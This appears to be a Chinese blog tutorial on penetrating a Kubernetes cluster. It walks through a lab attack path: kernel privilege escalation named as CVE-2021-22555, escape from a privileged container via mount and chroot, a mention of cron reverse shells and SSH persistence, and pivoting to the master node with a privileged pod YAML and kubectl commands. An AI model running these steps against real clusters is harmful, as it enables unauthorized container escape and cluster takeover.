K8s 集群渗透
本文作者:一生热爱
# 一、k8s 集群架构
# 二、渗透路线
docker user shell
docker root shell
docker逃逸
内网横向
# 三、获取 docker root shell
目前获取到 docker 中的一个普通用户 shell
使用 CVE-2021-22555 提升至 root shell
# 四、docker 中横向
使用扫描器等,可以访问运行中的 docker
查看 docker 中的一些服务、共享目录、挂载等
# 五、docker 逃逸
查看 /proc/1/status
,发现此容器为特权容器
这里使用如下命令
mkdir /httpd_test
mount /dev/sda1 /httpd_test
chroot /httpd_test/
1
2
3
2
3
现在在使用 Kubernetes 等命令可以发现能够执行成功,证明已经逃逸出来了。
接下来就是写定时任务反弹 shell、写 ssh 等。
# 六、node 节点到 master 节点
上面已经获取到 node 节点 shell,因为生产环境的 docker、pod 与 k8s 一般不属于同一网段,现在获取到 node 节点权限就可以访问整个 k8s 集群网络了。
一般在 node 节点不能执行 k8s 命令,这里实验环境简易搭建一下。
首先通过如下命令,设置节点标号,然后清除 master 节点不能分配 pod
> kubectl label node k8s-master type=node1
> kubectl taint nodes --all node-role.kubernetes.io/master-node "k8s" untainted
> kubectl describe node k8s | grep Taints
Taints: <none>
1
2
3
4
2
3
4
创建如下 nginx-pod.yaml 文件
apiVersion: v1
kind: Pod # 类型为 Pod
metadata:
name: nginx-pod1 # Pod 的名称
labels:
app: nginxlabel
spec:
nodeSelector:
type: node1
containers: # Pod 内容器的定义部分
- name: nginx # 容器对应的名称
image: nginx # 容器对应的 Docker 镜像
ports:
- containerPort: 80 # 容器应用监听的端口号
securityContext:
privileged: true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
使用 kubectl apply -f nginx-pod.yaml
在 master 创建 pod
使用如下命令,进入 pod
kubectl exec -it nginx-pod1 -- /bin/bash
1
如上图所示已进入 master 节点,如下图所示也为特权模式启动的 docker 镜像。